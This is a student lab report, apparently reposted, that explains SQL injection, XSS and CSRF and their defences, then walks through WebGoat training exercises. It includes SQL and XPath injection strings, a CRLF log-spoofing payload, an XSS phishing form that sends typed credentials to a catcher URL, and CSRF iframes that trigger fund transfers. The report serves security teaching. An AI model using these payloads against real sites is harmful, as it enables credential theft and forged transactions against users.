Exp9 web安全基础

Posted 20151120肖明

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Exp9 web安全基础相关的知识,希望对你有一定的参考价值。

1.SQL注入攻击原理,如何防御?

      定义:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL注入产生的原因,和栈溢出、XSS等很多其他的攻击方法类似,就是未经检查或者未经充分检查用户输入数据意外变成了代码被执行。针对于SQL注入,则是用户提交的数据,被数据库系统编译而产生了开发者预期之外的动作。也就是,SQL注入是用户输入的数据,在拼接SQL语句的过程中,超越了数据本身,成为了SQL语句查询逻辑的一部分,然后这样被拼接出来的SQL语句被数据库执行,产生了开发者预期之外的动作。

如图简要说明:

 

●SQL注入威胁表现形式可以体现为以下几点:

        ●绕过认证,获得非法权限

        ●猜解后台数据库全部的信息

        ●注入可以借助数据库的存储过程进行提权等操作

●SQL注入攻击的典型手段

        ●判断应用程序是否存在注入漏洞

        ●收集信息、并判断数据库类型

        ●根据注入参数类型,重构SQL语句的原貌

        ●猜解表名、字段名

        ●获取账户信息、攻击web或为下一步攻击做准备

如何防范:

所以从根本上防止sql注入,还是避免数据变成代码被执行,时刻分清代码和数据的界限。而具体到SQL注入来说,被执行的恶意代码是通过数据库的SQL解释引擎编译得到的,所以只要避免用户输入的数据被数据库系统编译就可以了。

如:

  1. PreparedStatement
  2. 使用正则表达式过滤传入的参数
  3. JSP中调用该函数检查是否包函非法字符
  4. JSP页面判断代码
  5. 字符串过滤

2、XSS攻击的原理,如何防御?

xss 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)缩写混淆,所以将跨站脚本攻击缩写为xss。

总体来说,XSS分三类,存储型XSS、反射型XSS、DOM-XSS。

 

存储型XSS

存储型的攻击脚本被存储到了数据库或者文件中,服务端在读取了存储的内容回显了。就是存储型。这种情况下用户直接打开正常的页面就会看到被注入
流程如下:
坏人把恶意的XSS代码提交网站--->网站把XSS代码存储进数据库--->当页面再次被其他正常用户请求时,服务器发送已经被植入XSS代码的数据给客户端--->客户端执行XSS代码



反射型XSS

将用户输入的存在XSS攻击的数据,发送给后台,后台并未对数据进行存储,也未经过任何过滤,直接返回给客户端。被浏览器渲染。就可能导致XSS攻击;

反射型XSS,是最常用的,使用最广的一种方式。通过给别人发送有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数呗html解析、执行。
它的特点:是非持久化,必须用户点击带有特定参数的链接才能引起 

DOM-XSS

DOM-based XSS漏洞是基于文档对象模型Document Objeet Model 的一种漏洞。DOM是一个与平台、编程语言无关的借口,它允许程序或脚本动态的访问或者更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些事用户可以操作的.客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格的确认,就会产生DOM-based XSS漏洞。

防御手段:

xss的防御

现在的XSS如此流行,原因何在。我想大家应该都知道,就是在输入的时候没有做严格的过滤,而在输出的时候,也没有进行检查,转义,替换等
所以防范的方法就是,不信任任何用户的输入,对每个用户的输入都做严格检查,过滤,在输出的时候,对某些特殊字符进行转义,替换等

3.CSRF攻击原理,如何防御?

(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

防御:

在业界目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证

实验过程:

第一阶段

  • 1.首先我们来安装一个学习系统Webgoat。在百度云上下载压缩包,然后拷入kali中,并在压缩包目录中使用java -jar webgoat-container-7.1-exec.jar这条指令。

 

然后打开火狐浏览器

就像攻关一样可以联系左侧的题目,英文不好的自备翻译软件:

String SQL Injection(字符注入):

 

 

然后根据文本框下面的数据库语言,我们在文本框中输入\'or 1=\'1,即在数据库语言中形成了名字=\'\'(空集,即所有)or 1=’1(永真式)的判断,结果是会显示所有的用户信息。

Log Spoofing(日志欺骗):

 

我们构造一个恶意的字符串

xm%0d%0aLogin Succeeded for username: admin

复制到user name 文本框中,密码随意输入,便可登陆admin。

XPATH Injection(XPATH注入):

输入xm\' or 1=1 or \'a\'=\'a和xm,然后可以看到攻击成功

 

 

LAB: SQL Injection

使用数据库注入来绕过身份验证,即不需要密码就可以登陆。

使用用户Nevile进行登陆,注入的代码’or 1=\'1

Numeric SQL Injection(数字数据库注入)

XSS

Phishing with XSS

  • 跨站脚本攻击,在表单中输入超文本代码XSS可以劫持用户的浏览器,任意构造用户当前浏览的HTML内容,模拟用户当前的操作。这里实验模拟获取用户名和密码的攻击在文本框里面输入一个钓鱼网站代码</form>

</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " +                         document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
 

 

 

 

 

Stored XSS Attacks

目的是创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容

在Message中构造语句<script>alert("you are a bad guys");</script>,提交后,可以发现刚刚创建的弹窗

 

Reflected XSS Attacks

 

Cross Site Request Forgery(CSRF)

目的是发送一个恶意URL请求的图片给用户。在message框里输入一段文字,文字里包含了恶意图片。

 

 

CSRF Prompt By-Pass

 

在信息框中输入:

<iframe src="attack?Screen=src290&menu=menu900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=src290&menu=menu900&transferFunds=CONFIRM"> </iframe>

 

 

实验体会:

深刻觉的自己对与web的知识了解甚少,基础知识有待提高。。。。

 

以上是关于Exp9 web安全基础的主要内容,如果未能解决你的问题,请参考以下文章

20155209 林虹宇 Exp9 Web安全基础

Exp9 Web安全基础

20155210 Exp9 Web安全基础实践

Exp9 Web安全基础 20164303景圣

# 20155337《网络对抗》Exp9 Web安全基础

Exp9 Web安全实践基础 20154328 常城